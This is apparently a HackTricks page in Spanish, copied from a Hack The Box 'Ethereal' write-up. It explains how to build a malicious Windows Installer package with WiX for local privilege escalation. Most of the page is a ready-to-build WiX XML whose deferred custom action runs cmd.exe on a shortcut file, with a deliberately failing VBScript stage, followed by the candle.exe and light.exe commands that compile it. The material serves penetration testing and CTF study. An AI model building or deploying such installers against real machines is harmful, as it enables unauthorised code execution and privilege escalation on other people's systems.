hacktricks/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
2023-06-03 01:46:23 +00:00

5.3 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Tutorial copiado de https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root
Para crear el msi usaremos wixtools, puedes usar otros constructores de msi pero no funcionaron para mí.
Consulta esta página para ver algunos ejemplos de uso de msi de wix.
Crearemos un msi que ejecute nuestro archivo lnk:

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>

Utilizaremos candle.exe de wixtools para crear un objeto wix a partir de msi.xml.

candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml

Luego usaremos light.exe para crear el archivo msi a partir del objeto wix:

light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥